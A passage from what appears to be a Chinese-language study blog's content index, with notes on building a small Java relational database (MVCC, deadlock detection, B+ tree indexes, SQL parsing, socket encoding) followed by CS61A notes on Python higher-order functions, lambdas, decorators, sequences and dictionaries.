tm, Transaction t, Entry e) { long xmax = e.getXmax(); if(t.level == 0) { // 读提交不存在问题 return false; } else { // 之前有一个事务: // 修改了并且已经提交 \u0026amp;\u0026amp; 这个事务还是我不可见的事务! return tm.isCommitted(xmax) \u0026amp;\u0026amp; (xmax \u0026gt; t.xid || t.isInSnapshot(xmax)); } } 死锁检测:解决2PL带来的问题 # ​\t当一个事务等待另外一个事务释放lock的时候,这个关系我们称为一个有向边,每次有 等待 的时候,就加上一条边,然后检测图中是否出现了环,出现的话,就要撤销刚刚增加的这个事务.\n/** * 维护了一个依赖等待图，以进行死锁检测. * 这里比较像OS中的死锁检测问题. */ public class LockTable { private Map\u0026lt;Long, List\u0026lt;Long\u0026gt;\u0026gt; x2u; // 某个XID已经获得的资源的UID列表 private Map\u0026lt;Long, Long\u0026gt; u2x; // UID被某个XID持有 private Map\u0026lt;Long, List\u0026lt;Long\u0026gt;\u0026gt; wait; // 正在等待UID的XID列表 private Map\u0026lt;Long, Lock\u0026gt; waitLock; // 正在等待资源的XID的锁 private Map\u0026lt;Long, Long\u0026gt; waitU; // XID正在等待的UID private Lock lock; ... 4.实现index manager 索引管理器 # 在实现之前,我们先来理解一下B+ Tree:\nB+树是一种数据结构，是一个N叉排序树，每个节点通常有多个孩子，一棵B+树包含根节点、内部节点和叶子节点。根节点可能是一个叶子节点， 也可能是一个包含两个或两个以上孩子节点的节点。\nB+树通常用于数据库和操作系统的文件系统中。NTFS、ReiserFS、NSS、XFS、JFS、ReFS和BFS等文件系统都在使用B+树作为元数据索引。B+树的特点是能够保持数据稳定有序， 其插入与修改拥有较稳定的对数时间复杂度。B+树元素自底向上插入。\n自己找图去看也行.\n1.n棵子树就有n个关键字,一个关键字对应一颗子树(或者比孩子的个数小1).\n2.所有叶子节点包含全部关键字的信息.(所有的数据都会存放在叶子节点中)\n非叶子节点含其子树中的最大关键字.\n3.两个指针,一个指向root(随机查找),一个指向最小节点(从最小开始顺序查找).\n除此之外B+树还有以下的要求:\nB+树包含2种类型的结点：内部结点（也称索引结点）和叶子结点。根结点本身即可以是内部结点，也可以是叶子结点。根结点的关键字个数最少可以只有1个。 B+树与B树最大的不同是内部结点不保存数据，只用于索引，所有数据（或者说记录）都保存在叶子结点中。 m阶B+树表示了内部结点最多有m-1个关键字（或者说内部结点最多有m个子树），阶数m同时限制了叶子结点最多存储m-1个记录。 内部结点中的key都按照从小到大的顺序排列，对于内部结点中的一个key，左树中的所有key都小于它，右子树中的key都大于等于它。叶子结点中的记录也按照key的大小排列。 每个叶子结点都存有相邻叶子结点的指针，叶子结点本身依关键字的大小自小而大顺序链接。 那么B+树就会有这样的特性:\n所有关键字都出现在叶子节点的链表中（稠密索引），且链表中的关键字恰好是有序的； 不可能在非叶子节点命中； 非叶子节点相当于叶子节点的索引（稀疏索引），叶子节点相当于是存储（关键字）数据的数据层； 更适合文件索引系统； 核心就是查询和insert操作:\n查询:\n1) 从最小关键字起顺序查找;\n2) 从根节点开始，进行随机查找;\n​\t在查找时，若非终端节点上的关键字等于给定值，并不终止，而是继续向下直到叶子节点。因此，在B+树中，不管查找成功与否，每次查找都是走了一条从根到叶子节点的路径。其余同B-树的查找类似。\ninsert:显然insert操作只会在叶子节点上进行.\n直接看这篇文章\n和B-树的区别:\n一棵m阶的B+树和m阶的B树的异同点在于：\n所有的叶子节点中包含了全部关键字的信息，即指向含有这些关键字记录的指针，且叶子节点本身依关键字的大小自小而大的顺序链接。（而B-树的叶子节点并没有包括全部需要查找的信息） 所有的非终端节点可以看成是索引部分，节点中仅含有其子树根节点中最大（或最小）关键字。（而B-树的非终端节点也包含需要查找的有效信息） 一个问题:\nB+树主要适用于索引操作。为什么说B+树比B-树更适合实际应用于操作系统的文件索引和数据库索引？\nB+树的磁盘读写代价更低: B+树的内部节点并没有指向关键字具体信息的指针。因此其内部节点相对B-树更小。如果把所有同一内部节点的关键字存放在同一盘块中，那么盘块所能容纳的关键字数量也越多。一次性读入内存中的需要查找的关键字也就越多。相对来说IO读写次数也就降低了。举个例子：假设磁盘中的一个盘块容纳16bytes，而一个关键字2bytes, 一个关键字具体信息指针2bytes。一棵9阶B-树(一个节点最多8个关键字）的内部节点需要2个盘块。而B+树内部节点只需要1个盘块。当需要把内部节点读入内存的时候，B-树就比B+树多一次盘块查找时间（在磁盘中就是盘片旋转时间） 就是因为在寻找一个叶子节点的时候,前面的内部节点没有存储具体的信息,而仅仅是一些index,这是很好的. B+树的查询效率更加稳定: 由于非终节点并不是最终指向文件内容的节点，而只是叶子节点中关键字的索引。所以任何关键字的查找必须走一条从根节点到叶子节点的路。所有关键字查询的路径长度相同，导致每一个数据的查询效率相当。 因为只有叶子节点存储了信息,所以大家要走的路是类似的. B+树所有的Data域在叶子节点，一般来说都会进行一个优化，就是将所有的叶子节点用指针串起来。这样遍历叶子节点就能获得全部数据，这样就能进行区间访问了。 我们之前提到的两个指针. 什么是聚簇索引:\n​\t在《数据库原理》里面，对聚簇索引的解释是： 聚簇索引的顺序就是数据的物理存储顺序； 而对非聚簇索引的解释是： 索引顺序与数据物理排列无关。正是因为如此，所以一个表最多只能有一个聚簇索引。直观上来说，聚簇索引的叶子节点就是数据节点； 而非聚簇索引的叶子节点仍然是索引节点，只不过是指向对应数据块的指针。\n5.实现table manager 字段与表管理器 TBM # SQL解析器 # 实现了以下的SQL:\n\u0026lt;begin statement\u0026gt; # 开启事务,设置隔离级别 begin [isolation level (read committedrepeatable read)] begin isolation level read committed \u0026lt;commit statement\u0026gt;\t# 提交事务 commit \u0026lt;abort statement\u0026gt;\t# 回滚事务 abort \u0026lt;create statement\u0026gt;\t# 创建table create table \u0026lt;table name\u0026gt; \u0026lt;field name\u0026gt; \u0026lt;field type\u0026gt; \u0026lt;field name\u0026gt; \u0026lt;field type\u0026gt; ... \u0026lt;field name\u0026gt; \u0026lt;field type\u0026gt; [(index \u0026lt;field name list\u0026gt;)] create table students id int32, name string, age int32, (index id name) \u0026lt;drop statement\u0026gt;\t# 废弃table drop table \u0026lt;table name\u0026gt; drop table students \u0026lt;select statement\u0026gt;\t# 查询语句 select (*\u0026lt;field name list\u0026gt;) from \u0026lt;table name\u0026gt; [\u0026lt;where statement\u0026gt;] select * from student where id = 1 select name from student where id \u0026gt; 1 and id \u0026lt; 4 select name, age, id from student where id = 12 \u0026lt;insert statement\u0026gt;\t# 插入语句 insert into \u0026lt;table name\u0026gt; values \u0026lt;value list\u0026gt; insert into student values 5 \u0026#34;Zhang Yuanjia\u0026#34; 22 \u0026lt;delete statement\u0026gt;\t# 删除 delete from \u0026lt;table name\u0026gt; \u0026lt;where statement\u0026gt; delete from student where name = \u0026#34;Zhang Yuanjia\u0026#34; \u0026lt;update statement\u0026gt;\t# 更新 update \u0026lt;table name\u0026gt; set \u0026lt;field name\u0026gt;=\u0026lt;value\u0026gt; [\u0026lt;where statement\u0026gt;] update student set name = \u0026#34;ZYJ\u0026#34; where id = 5 \u0026lt;where statement\u0026gt;\t# 条件查询 where \u0026lt;field name\u0026gt; (\u0026gt;\u0026lt;=) \u0026lt;value\u0026gt; [(andor) \u0026lt;field name\u0026gt; (\u0026gt;\u0026lt;=) \u0026lt;value\u0026gt;] where age \u0026gt; 10 or age \u0026lt; 3 # 字段和表名 \u0026lt;field name\u0026gt; \u0026lt;table name\u0026gt; [a-zA-Z][a-zA-Z0-9_]* # 字段类型 \u0026lt;field type\u0026gt; int32 int64 string \u0026lt;value\u0026gt; .* 解析就是parser对于输入的语句做逐字节的解析,并且切割成token,根据首个token来包装成不同的类.\n表和字段的管理 # 基本的结构:\n/** * Table 维护了表结构 * 二进制结构如下： * [TableName][NextTable] * [Field1Uid][Field2Uid]...[FieldNUid] */ public class Table { TableManager tbm; long uid; String name; byte status; long nextUid; List\u0026lt;Field\u0026gt; fields = new ArrayList\u0026lt;\u0026gt;(); ... } 一个字段的结构:\n/** * field 表示字段信息 * 二进制格式为： * [FieldName][TypeName][IndexUid] [字段名][类型][是否建立了index索引(有index,这个字段会直接指向索引二叉树的root)] * 如果field无索引，IndexUid为0 * 字段信息直接保存在一个entry内部. */ public class Field { long uid; private Table tb; String fieldName; String fieldType; private long index; private BPlusTree bt; ... } 一个database中存在多张table,我们使用链表的形式把这些table连接起来:\n[TableName][NextTable] [Field1Uid][Field2Uid]...[FieldNUid] ​\t这里由于每个 Entry 中的数据，字节数是确定的，于是无需保存字段的个数。根据 UID 从 Entry 中读取表数据的过程和读取字段的过程类似。\n​\t对表和字段的操作，有一个很重要的步骤，就是计算 Where 条件的范围，目前 MYDB 的 Where 只支持两个条件的与和或。例如有条件的 Delete，计算 Where，最终就需要获取到条件范围内所有的 UID。MYDB 只支持已索引字段作为 Where 的条件。计算 Where 的范围，具体可以查看 Table 的 parseWhere() 和 calWhere() 方法，以及 Field 类的 calExp() 方法。\n​\t由于 TBM 的表管理，使用的是链表串起的 Table 结构，所以就必须保存一个链表的头节点，即第一个表的 UID，这样在 MYDB 启动时，才能快速找到表信息。\n​\tMYDB 使用 Booter 类和 bt 文件，来管理 MYDB 的启动信息，虽然现在所需的启动信息，只有一个：头表的 UID。Booter 类对外提供了两个方法：load 和 update，并保证了其原子性。\n​\tupdate 在修改 bt 文件内容时，没有直接对 bt 文件进行修改，而是首先将内容写入一个 bt_tmp 文件中，随后将这个文件重命名为 bt 文件。以期通过操作系统重命名文件的原子性，来保证操作的原子性。\n要用一个bt文件保存第一个table的uid,因为我们要快速找到table的信息:\n// 记录第一个表的uid public class Booter { public static final String BOOTER_SUFFIX = \u0026#34;.bt\u0026#34;; public static final String BOOTER_TMP_SUFFIX = \u0026#34;.bt_tmp\u0026#34;; String path; File file; ... } 最终TBM实现给server使用的所有接口:\n// 这里就已经是提供给最外层的Server所使用的接口了. public interface TableManager { BeginRes begin(Begin begin); byte[] commit(long xid) throws Exception; byte[] abort(long xid); byte[] show(long xid); byte[] create(long xid, Create create) throws Exception; byte[] insert(long xid, Insert insert) throws Exception; byte[] read(long xid, Select select) throws Exception; byte[] update(long xid, Update update) throws Exception; byte[] delete(long xid, Delete delete) throws Exception; // 创建新表使用的是头插法,每次创建的时候,都要更新bt文件. public static TableManager create(String path, VersionManager vm, DataManager dm) { Booter booter = Booter.create(path); booter.update(Parser.long2Byte(0)); return new TableManagerImpl(vm, dm, booter); } public static TableManager open(String path, VersionManager vm, DataManager dm) { Booter booter = Booter.open(path); return new TableManagerImpl(vm, dm, booter); } } 6.最终实现软件:Server和Client的通信 # 通信是利用Socket.\n通信 # 用Package作为一个基本的结构:\npublic class Package { byte[] data; Exception err; public Package(byte[] data, Exception err) { this.data = data; this.err = err; } public byte[] getData() { return data; } public Exception getErr() { return err; } } 发送前编码,收到之后会进行解码的操作.\n基本格式:(其实就是字节数组前面加了一个1.)\n[Flag][data] 利用Encoder的类:\npublic class Encoder { public byte[] encode(Package pkg) { if(pkg.getErr() != null) { Exception err = pkg.getErr(); String msg = \u0026#34;Intern server error!\u0026#34;; if(err.getMessage() != null) { msg = err.getMessage(); } // 1,表明出错. return Bytes.concat(new byte[]{1}, msg.getBytes()); } else { // 0,表示数据本身没错. return Bytes.concat(new byte[]{0}, pkg.getData()); } } public Package decode(byte[] data) throws Exception { if(data.length \u0026lt; 1) { throw Error.InvalidPkgDataException; } if(data[0] == 0) { return new Package(Arrays.copyOfRange(data, 1, data.length), null); } else if(data[0] == 1) { return new Package(null, new RuntimeException(new String(Arrays.copyOfRange(data, 1, data.length)))); } else { throw Error.InvalidPkgDataException; } } } END.\n","date":"16 November 2025","externalUrl":null,"permalink":"/mysql/minidb/","section":"","summary":"\u003ch1 class=\"relative group\"\u003eMio\u0026rsquo;sDB \n    \u003cdiv id=\"miosdb\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#miosdb\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e这是一个由Java实现的轻量级的关系型数据库.\u003c/p\u003e\n\u003cp\u003e基于 socket 的 server 和 client进行前后端的通信.\u003c/p\u003e","title":"MiniDB","type":"mysql"},{"content":" CS61A：Structure and Interpretation of Computer Programs # ​\t相当于简单学习一下py，再打一打编程的基础，因为课程lab的质量很高。\n坚持下去，哪怕它没有学分。\n​\t这也是计算机的一大圣经(计算机程序的构造和解释)了，但是我还没有好好理解过。\n​\t笔者做这个课程的时候已经是大二结束了，所以不会重复很多基础的东西，比较跳跃。\n​\t资源来自于中文课本：https://composingprograms.netlify.app/\n​\t会摘录其中我觉得对我有用的内容(未报备)。我认为有些部分翻译的很抽象.如果你英语还可以,可以对照着看.\n1.1第一章 函数构建抽象 # 1.1.1高阶函数 # 1.1.1.1函数作为参数传递： # # 把函数作为参数传递 def summation (n, term): sum , k = 0 , 1 while k \u0026lt;= n: sum += term(k) k += 1 return sum def pi_term(x): return 8 / ((4*x-3) * (4*x-1)) def pi_sum(n): return summation(n, pi_term) res = pi_sum(1e6) print(res) 1.1.1.2嵌套函数的定义： # 继承环境 帧链\n​\tsqrt_update 函数体中的返回表达式可以通过遵循这一帧链来解析 a 的值。查找名称会找到当前环境中绑定到该名称的第一个值。Python 首先在 sqrt_update 帧中进行检查 \u0026ndash;\u0026gt; 不存在 a ，然后又到 sqrt_update 的父帧 f1 中进行检查，发现 a 被绑定到了 256。\n环境的继承，在父帧中找。\n1 def average(x, y): 2 return (x + y)/2 3 4 def improve(update, close, guess=1): 5 while not close(guess): 6 guess = update(guess) 7 return guess 8 9 def approx_eq(x, y, tolerance=1e-3): 10 return abs(x - y) \u0026lt; tolerance 11 12 def sqrt(a): 13 def sqrt_update(x): 14 return average(x, a/x) 15 def sqrt_close(x): 16 return approx_eq(x * x, a) 17 return improve(sqrt_update, sqrt_close) 18 19 result = sqrt(256) 1.1.1.3Python 中词法作用域的两个关键优势： # 局部函数的名称不会影响定义它的函数的外部名称，因为局部函数的名称将绑定在定义它的当前局部环境中，而不是全局环境中。 局部函数可以访问外层函数的环境，这是因为局部函数的函数体的求值环境会继承定义它的求值环境。 ​\t这里的 sqrt_update 函数自带了一些数据：a 在定义它的环境中引用的值，因为它以这种方式“封装”信息，所以局部定义的函数通常被称为闭包（closures）。\n1.1.1.4把函数作为返回值 # \u0026gt;\u0026gt;\u0026gt; def compose1(f, g): def h(x): return f(g(x)) return h 1.1.1.5柯里化（Curring） # ​\t我认为这里的便捷性是，有一个函数有两个参数，你在调用的时候可以分两次调用分别传入两个参数。\n\u0026gt;\u0026gt;\u0026gt; def curried_pow(x): def h(y): return pow(x, y) return h \u0026gt;\u0026gt;\u0026gt; curried_pow(2)(3) 8 这个参数传递稍微有点抽象：\n\u0026gt;\u0026gt;\u0026gt; def map_to_range(start, end, f): while start \u0026lt; end: print(f(start)) start = start + 1 \u0026gt;\u0026gt;\u0026gt; map_to_range(0, 10, curried_pow(2)) 1 2 4 8 16 32 64 128 256 512 curried_pow(2)本身就可以作为一个可以传入一个参数的函数。\n更复杂：curring和uncurring\n\u0026gt;\u0026gt;\u0026gt; def curry2(f): \u0026#34;\u0026#34;\u0026#34;返回给定的双参数函数的柯里化版本\u0026#34;\u0026#34;\u0026#34; def g(x): def h(y): return f(x, y) return h return g \u0026gt;\u0026gt;\u0026gt; def uncurry2(g): \u0026#34;\u0026#34;\u0026#34;返回给定的柯里化函数的双参数版本\u0026#34;\u0026#34;\u0026#34; def f(x, y): return g(x)(y) return f \u0026gt;\u0026gt;\u0026gt; pow_curried = curry2(pow) \u0026gt;\u0026gt;\u0026gt; pow_curried(2)(5) 32 \u0026gt;\u0026gt;\u0026gt; map_to_range(0, 10, pow_curried(2)) 1 2 4 8 16 32 64 128 256 512 ​\tcurry2 函数接受一个双参数函数 f 并返回一个单参数函数 g。当 g 应用于参数 x 时，它返回一个单参数函数 h。当 h 应用于参数 y 时，它调用 f(x, y)。因此，curry2(f)(x)(y) 等价于 f(x, y) 。uncurry2 函数反转了柯里化变换，因此 uncurry2(curry2(f)) 等价于 f。\n1.1.1.6Lambda表达式 # 一个 lambda 表达式的计算结果是一个函数，它仅有一个返回表达式作为主体。不允许使用赋值和控制语句。\n\u0026gt;\u0026gt;\u0026gt; def compose1(f, g): return lambda x: f(g(x)) 匿名函数：\n\u0026gt;\u0026gt;\u0026gt; s = lambda x: x * x \u0026gt;\u0026gt;\u0026gt; s \u0026lt;function \u0026lt;lambda\u0026gt; at 0xf3f490\u0026gt; \u0026gt;\u0026gt;\u0026gt; s(12) 144 嵌套lambda，有点难以辨认：\n\u0026gt;\u0026gt;\u0026gt; compose1 = lambda f,g: lambda x: f(g(x)) 这么理解：\nlambda x : f(g(x)) \u0026#34;A function that takes x and returns f(g(x))\u0026#34; 1.1.1.7函数装饰器 # \u0026gt;\u0026gt;\u0026gt; def trace(fn): def wrapped(x): print(\u0026#39;-\u0026gt; \u0026#39;, fn, \u0026#39;(\u0026#39;, x, \u0026#39;)\u0026#39;) return fn(x) return wrapped \u0026gt;\u0026gt;\u0026gt; @trace def triple(x): return 3 * x \u0026gt;\u0026gt;\u0026gt; triple(12) -\u0026gt; \u0026lt;function triple at 0x102a39848\u0026gt; ( 12 ) 36 ​\t在这个例子中，定义了一个高阶函数 trace，它返回一个函数，该函数在调用其参数前先输出一个打印语句来显示该参数。triple 的 def 语句有一个注解（annotation） @trace，它会影响 def 执行的规则。和往常一样，函数 triple 被创建了。但是，名称 triple 不会绑定到这个函数上。相反，这个名称会被绑定到在新定义的 triple 函数调用 trace 后返回的函数值上。代码中，这个装饰器等价于：\n相当于函数是把自己作为参数，调用上面的函数来作为返回值的结果，有什么作用，还没理解？\n\u0026gt;\u0026gt;\u0026gt; def triple(x): return 3 * x \u0026gt;\u0026gt;\u0026gt; triple = trace(triple) ​\t装饰器符号 @ 也可以后跟一个调用表达式。跟在 @ 后面的表达式会先被解析（就像上面的 \u0026rsquo;trace\u0026rsquo; 名称一样），然后是 def 语句，最后将装饰器表达式的运算结果应用到新定义的函数上，并将其结果绑定到 def 语句中的名称上。\nHog写完了，比较简单也比较有趣，整体就是关于函数的抽象这里的一些内容，如果没有理解可能会容易绕进去：2025.5.23 14:28.\n1.1.1.8递归函数 # 就是递归（？）,主要就是递归的思想，比较基础。\n这里的hw03就是一些普通的递归函数。\n1.2第二章 数据构建抽象 # 有效使用内置数据类型和用户定义的数据类型是数据处理型应用（data processing applications）的基础。\n面向对象，对象就是数据，抽象或者具体的。\n1.2.1原始数据类型 # 三种\n\u0026gt;\u0026gt;\u0026gt; type(1 + 2j) \u0026lt;class \u0026#39;complex\u0026#39;\u0026gt; \u0026gt;\u0026gt;\u0026gt; type(1) \u0026lt;class \u0026#39;int\u0026#39;\u0026gt; \u0026gt;\u0026gt;\u0026gt; type(1.1) \u0026lt;class \u0026#39;float\u0026#39;\u0026gt; ​\t非数值类型（Non-numeric types）：值可以表示许多其他类型的数据，比如声音、图像、位置、网址、网络连接等等。它们中间的少数可以用原始数据类型表示，例如用于值 True 和 False 的 bool 类，其他大多数值的类型必须由程序员使用我们将在本章中学习到的组合和抽象方法来定义。\n1.2.2数据抽象 # 程序\u0026mdash;》操作抽象数据 + 定义具体表示\nlist 列表\n抽象屏障：上层的抽象利用下层的抽象，不可以越级来调用。\n特定表示的函数越少，程序越好得以维护。\n1.2.3序列 # ​\t序列（sequence）是一组有顺序的值的集合，是计算机科学中的一个强大且基本的抽象概念。序列并不是特定内置类型或抽象数据表示的实例，而是一个包含不同类型数据间共享行为的集合。也就是说，序列有很多种类，但它们都具有共同的行为。\n1.2.3.1list 列表 # \u0026gt;\u0026gt;\u0026gt; digits = [1, 8, 2, 8] \u0026gt;\u0026gt;\u0026gt; len(digits) 4 \u0026gt;\u0026gt;\u0026gt; digits[3] 8 序列计算：\n我觉得py比较奇妙的地方。\n\u0026gt;\u0026gt;\u0026gt; [2, 7] + digits * 2 [2, 7, 1, 8, 2, 8, 1, 8, 2, 8] for循环的执行过程：\n一个 for 循环语句由如下格式的单个子句组成：\nfor \u0026lt;name\u0026gt; in \u0026lt;expression\u0026gt;: \u0026lt;suite\u0026gt; for 循环语句按以下过程执行：\n执行头部（header）中的 \u0026lt;expression\u0026gt;，它必须产生一个可迭代（iterable）的值（译者注：可迭代的详细概念可见 4.2 隐式序列） 对该可迭代值中的每个元素，按顺序： 将当前帧的 \u0026lt;name\u0026gt; 绑定到该元素值 执行 \u0026lt;suite\u0026gt; 序列解包\nrange (start, end(unincluded), step)\n\u0026gt;\u0026gt;\u0026gt; list(range(5, 8)) [5, 6, 7] 范围通常出现在 for 循环头部中的表达式，以指定 \u0026lt;suite\u0026gt; 应执行的次数。一个惯用的使用方式是：如果 \u0026lt;name\u0026gt; 没有在 \u0026lt;suite\u0026gt; 中被使用到，则用下划线字符 \u0026ldquo;_\u0026rdquo; 作为 \u0026lt;name\u0026gt;。\n\u0026gt;\u0026gt;\u0026gt; for _ in range(3): print(\u0026#39;Go Bears!\u0026#39;) Go Bears! Go Bears! Go Bears! 对解释器而言，这个下划线只是环境中的另一个名称，但对程序员具有约定俗成的含义，表示该名称不会出现在任何未来的表达式中。\n1.2.3.2序列的处理 # 序列是复合数据的一种常见形式，常见到整个程序都可能围绕着这个单一的抽象来组织。\n比如malloc函数在堆内存上的分配。\n列表推导式（List Comprehensions）\n\u0026gt;\u0026gt;\u0026gt; odds = [1, 3, 5, 7, 9] \u0026gt;\u0026gt;\u0026gt; [x+1 for x in odds] [2, 4, 6, 8, 10] \u0026gt;\u0026gt;\u0026gt; [x for x in odds if 25 % x == 0] [1, 5] 一般推导的形式：\n[\u0026lt;map expression\u0026gt; for \u0026lt;name\u0026gt; in \u0026lt;sequence expression\u0026gt; if \u0026lt;filter expression\u0026gt;] 1.2.3.3序列的抽象 # 成员资格：\n\u0026gt;\u0026gt;\u0026gt; digits [1, 8, 2, 8] \u0026gt;\u0026gt;\u0026gt; 2 in digits True \u0026gt;\u0026gt;\u0026gt; 1828 not in digits True slicing 切片：选取特定的范围，也可以选取step\n\u0026gt;\u0026gt;\u0026gt; digits[0:2] [1, 8] \u0026gt;\u0026gt;\u0026gt; digits[1:] [8, 2, 8] 这里看完可以先做lab03理解一下。\n整个lab03是比较简单的，都是最简单的递归函数。\n1.2.3.4Tree # ​\t使用列表包含其他列表，闭包（Closure Property）属性。\n​\t「数学中，若对某个集合的成员进行一种运算，生成的仍然是这个集合的成员，则该集合被称为在这个运算下闭合。」\n就是tree，没什么说的，这个很好理解。\n遍历处理Tree上的所有数字，注意使用isinstsnce来判断是否是某个类型对应的实例。\ndef deep_map(f, s): \u0026#34;\u0026#34;\u0026#34;Replace all non-list elements x with f(x) in the nested list s. \u0026gt;\u0026gt;\u0026gt; six = [1, 2, [3, [4], 5], 6] \u0026gt;\u0026gt;\u0026gt; deep_map(lambda x: x * x, six) \u0026gt;\u0026gt;\u0026gt; six [1, 4, [9, [16], 25], 36] \u0026gt;\u0026gt;\u0026gt; # Check that you\u0026#39;re not making new lists \u0026gt;\u0026gt;\u0026gt; s = [3, [1, [4, [1]]]] \u0026gt;\u0026gt;\u0026gt; s1 = s[1] \u0026gt;\u0026gt;\u0026gt; s2 = s1[1] \u0026gt;\u0026gt;\u0026gt; s3 = s2[1] \u0026gt;\u0026gt;\u0026gt; deep_map(lambda x: x + 1, s) \u0026gt;\u0026gt;\u0026gt; s [4, [2, [5, [2]]]] \u0026gt;\u0026gt;\u0026gt; s1 is s[1] True \u0026gt;\u0026gt;\u0026gt; s2 is s1[1] True \u0026gt;\u0026gt;\u0026gt; s3 is s2[1] True \u0026#34;\u0026#34;\u0026#34; \u0026#34;*** YOUR CODE HERE ***\u0026#34; for index in range(len(s)): if not isinstance(s[index], list): s[index] = f(s[index]) else: deep_map(f, s[index]) 这里要读一读官网的手册，要不然会看不懂在干什么。\n比较像简单的leetcode问题。\n1.2.3.5LinkedList # 我们再次来理解一下什么是链表。\nfour = [1, [2, [3, [4, \u0026#39;empty\u0026#39;]]]] 我们把这样的一个嵌套的序列理解成一个链表。\n其实和tree的构成是类似的。\n那么这个链表的方法就应该这样定义：\n\u0026gt;\u0026gt;\u0026gt; empty = \u0026#39;empty\u0026#39; \u0026gt;\u0026gt;\u0026gt; def is_link(s): \u0026#34;\u0026#34;\u0026#34;判断 s 是否为链表\u0026#34;\u0026#34;\u0026#34; return s == empty or (len(s) == 2 and is_link(s[1])) \u0026gt;\u0026gt;\u0026gt; def link(first, rest): \u0026#34;\u0026#34;\u0026#34;用 first 和 rest 构建一个链表\u0026#34;\u0026#34;\u0026#34; assert is_link(rest), \u0026#34; rest 必须是一个链表\u0026#34; return [first, rest] \u0026gt;\u0026gt;\u0026gt; def first(s): \u0026#34;\u0026#34;\u0026#34;返回链表 s 的第一个元素\u0026#34;\u0026#34;\u0026#34; assert is_link(s), \u0026#34; first 只能用于链表\u0026#34; assert s != empty, \u0026#34;空链表没有第一个元素\u0026#34; return s[0] \u0026gt;\u0026gt;\u0026gt; def rest(s): \u0026#34;\u0026#34;\u0026#34;返回 s 的剩余元素\u0026#34;\u0026#34;\u0026#34; assert is_link(s), \u0026#34; rest 只能用于链表\u0026#34; assert s != empty, \u0026#34;空链表没有剩余元素\u0026#34; return s[1] 1.2.4可变数据 # 1.对象OOP的基本概念。\n2.可变对象\u0026mdash;》列表\n比较典型的概念，检查是alias还是copy。\n\u0026gt;\u0026gt;\u0026gt; suits is nest[0] True \u0026gt;\u0026gt;\u0026gt; suits is [\u0026#39;heart\u0026#39;, \u0026#39;diamond\u0026#39;, \u0026#39;spade\u0026#39;, \u0026#39;club\u0026#39;] False \u0026gt;\u0026gt;\u0026gt; suits == [\u0026#39;heart\u0026#39;, \u0026#39;diamond\u0026#39;, \u0026#39;spade\u0026#39;, \u0026#39;club\u0026#39;] True tuple元组：\n不可变对象。\n\u0026gt;\u0026gt;\u0026gt; 1, 2 + 3 (1, 5) \u0026gt;\u0026gt;\u0026gt; (\u0026#34;the\u0026#34;, 1, (\u0026#34;and\u0026#34;, \u0026#34;only\u0026#34;)) (\u0026#39;the\u0026#39;, 1, (\u0026#39;and\u0026#39;, \u0026#39;only\u0026#39;)) \u0026gt;\u0026gt;\u0026gt; type( (10, 20) ) \u0026lt;class \u0026#39;tuple\u0026#39;\u0026gt; 类似的语法：\n\u0026gt;\u0026gt;\u0026gt; code = (\u0026#34;up\u0026#34;, \u0026#34;up\u0026#34;, \u0026#34;down\u0026#34;, \u0026#34;down\u0026#34;) + (\u0026#34;left\u0026#34;, \u0026#34;right\u0026#34;) * 2 \u0026gt;\u0026gt;\u0026gt; len(code) 8 \u0026gt;\u0026gt;\u0026gt; code[3] \u0026#39;down\u0026#39; \u0026gt;\u0026gt;\u0026gt; code.count(\u0026#34;down\u0026#34;) 2 \u0026gt;\u0026gt;\u0026gt; code.index(\u0026#34;left\u0026#34;) 4 但是不能和list一样对于序列进行自由的操作。\n1.2.4.1字典（Dictionary） # 其实就是HashTable？\n\u0026gt;\u0026gt;\u0026gt; numerals = {\u0026#39;I\u0026#39;: 1.0, \u0026#39;V\u0026#39;: 5, \u0026#39;X\u0026#39;: 10} \u0026gt;\u0026gt;\u0026gt; numerals[\u0026#39;X\u0026#39;] 10 字典本身是乱序的。\n​\tPython 3.7 及以上版本的字典顺序会确保为插入顺序，此行为是自 3.6 版开始的 CPython 实现细节，字典会保留插入时的顺序，对键的更新也不会影响顺序，删除后再次添加的键将被插入到末尾\n字典类型也有一些限制：\n字典的 key 不可以是可变数据，也不能包含可变数据。\n一个 key 只能对应一个 value。\nget方法：\n\u0026gt;\u0026gt;\u0026gt; numerals.get(\u0026#39;A\u0026#39;, 0) 0 \u0026gt;\u0026gt;\u0026gt; numerals.get(\u0026#39;V\u0026#39;, 0) 5 推导式创建dic的语法：\n\u0026gt;\u0026gt;\u0026gt; {x: x*x for x in range(3,6)} {3: 9, 4: 16, 5: 25} 先来做lab04,我们再继续来研究理论内容。\n例子：嵌套构建一个dic。\ndef divide(quotients, divisors): \u0026#34;\u0026#34;\u0026#34;Return a dictonary in which each quotient q is a key for the list of divisors that it divides evenly. \u0026gt;\u0026gt;\u0026gt; divide([3, 4, 5], [8, 9, 10, 11, 12]) {3: [9, 12], 4: [8, 12], 5: [10]} \u0026gt;\u0026gt;\u0026gt; divide(range(1, 5), range(20, 25)) {1: [20, 21, 22, 23, 24], 2: [20, 22, 24], 3: [21, 24], 4: [20, 24]} \u0026#34;\u0026#34;\u0026#34; return {x: [y for y in divisors if y % x == 0] for x in quotients} 下一个纯自己实现确实有点复杂。\n使用nonlocal引用闭包之外的变量。\ndef buy(fruits_to_buy, prices, total_amount): \u0026#34;\u0026#34;\u0026#34;Print ways to buy some of each fruit so that the sum of prices is amount. \u0026gt;\u0026gt;\u0026gt; prices = {\u0026#39;oranges\u0026#39;: 4, \u0026#39;apples\u0026#39;: 3, \u0026#39;bananas\u0026#39;: 2, \u0026#39;kiwis\u0026#39;: 9} \u0026gt;\u0026gt;\u0026gt; buy([\u0026#39;apples\u0026#39;, \u0026#39;oranges\u0026#39;, \u0026#39;bananas\u0026#39;], prices, 12) # We can only buy apple, orange, and banana, but not kiwi [2 apples][1 orange][1 banana] \u0026gt;\u0026gt;\u0026gt; buy([\u0026#39;apples\u0026#39;, \u0026#39;oranges\u0026#39;, \u0026#39;bananas\u0026#39;], prices, 16) [2 apples][1 orange][3 bananas] [2 apples][2 oranges][1 banana] \u0026gt;\u0026gt;\u0026gt; buy([\u0026#39;apples\u0026#39;, 